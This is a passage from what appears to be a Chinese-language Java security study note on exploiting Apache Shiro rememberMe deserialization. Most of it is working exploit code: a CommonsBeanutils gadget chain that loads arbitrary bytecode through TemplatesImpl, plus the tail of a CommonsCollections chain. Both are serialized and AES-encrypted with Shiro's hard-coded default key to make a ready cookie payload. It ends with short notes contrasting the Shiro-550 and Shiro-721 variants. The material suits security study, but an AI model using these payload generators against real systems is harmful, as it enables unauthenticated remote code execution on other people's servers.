lazymap.remove(templates);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, invokerTransformer);
byte[] data = serialize(hashMap);
//shiro payload准备(把链子的序列化结果进行相应加密)
String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
SecretKey key = getKeyFromBase64(base64Key);
byte[] ivBytes = new byte[16];
new java.util.Random().nextBytes(ivBytes);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
//unserialize(bytes);
String p = getPayload(data,key,iv);
System.out.println(p);
}
private static SecretKey getKeyFromBase64(String base64Key) {
byte[] decodedKey = Base64.getDecoder().decode(base64Key);
return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
}
public static String getPayload(byte[] data, SecretKey key, IvParameterSpec iv) throws Exception{
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key, iv);
byte[] encrypted = cipher.doFinal(data);
// 将IV和加密后的数据一起编码为Base64字符串
byte[] combined = new byte[iv.getIV().length + encrypted.length];
System.arraycopy(iv.getIV(), 0, combined, 0, iv.getIV().length);
System.arraycopy(encrypted, 0, combined, iv.getIV().length, encrypted.length);
return Base64.getEncoder().encodeToString(combined);
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeObject(o);
byte[] bytes = bout.toByteArray();
oout.close();
bout.close();
return bytes;
}
public static Object unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bin);
return oin.readObject();
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
cb依赖
commons-beanutils包是shiro本身就有的包,不需要maven添加额外的依赖
shiroCB payload:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
public class shiroPayload {
public static void main(String[] args) throws Exception {
//链子(cc或者cb链)
//CB
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qs");
Field bytecode = templatesClass.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\javaSecurity\\ccTest\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = new byte[][]{code};
bytecode.set(templates,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());//BeanComparator.compare->PropertyUtils.getProperty->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
//size需要为2
priorityQueue.add(templates);
priorityQueue.add(2);
//反序列化前修改PriorityQueue的comparator属性
Class pclas = PriorityQueue.class;
Field Fcomparator = pclas.getDeclaredField("comparator");
Fcomparator.setAccessible(true);
Fcomparator.set(priorityQueue,beanComparator);
byte[] data = serialize(priorityQueue);
//shiro payload准备(把链子的序列化结果进行相应加密)
String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
SecretKey key = getKeyFromBase64(base64Key);
byte[] ivBytes = new byte[16];
new java.util.Random().nextBytes(ivBytes);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
String p = getPayload(data,key,iv);
System.out.println(p);
}
private static SecretKey getKeyFromBase64(String base64Key) {
byte[] decodedKey = Base64.getDecoder().decode(base64Key);
return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
}
public static String getPayload(byte[] data, SecretKey key, IvParameterSpec iv) throws Exception{
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key, iv);
byte[] encrypted = cipher.doFinal(data);
// 将IV和加密后的数据一起编码为Base64字符串
byte[] combined = new byte[iv.getIV().length + encrypted.length];
System.arraycopy(iv.getIV(), 0, combined, 0, iv.getIV().length);
System.arraycopy(encrypted, 0, combined, iv.getIV().length, encrypted.length);
return Base64.getEncoder().encodeToString(combined);
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeObject(o);
byte[] bytes = bout.toByteArray();
oout.close();
bout.close();
return bytes;
}
public static Object unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bin);
return oin.readObject();
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
shiro550和shiro721区别
shiro550是先验证remberme这个cookie,而不是验证身份;而shiro721会先进行身份验证
所以shiro550利用并不需要登录;而shiro721的利用需要登录拥有有效的会话才可以利用
shiro550使用默认密钥,容易爆破;而shiro721密钥随机生成,基本只有通过有效的remberme cookie来爆破正确key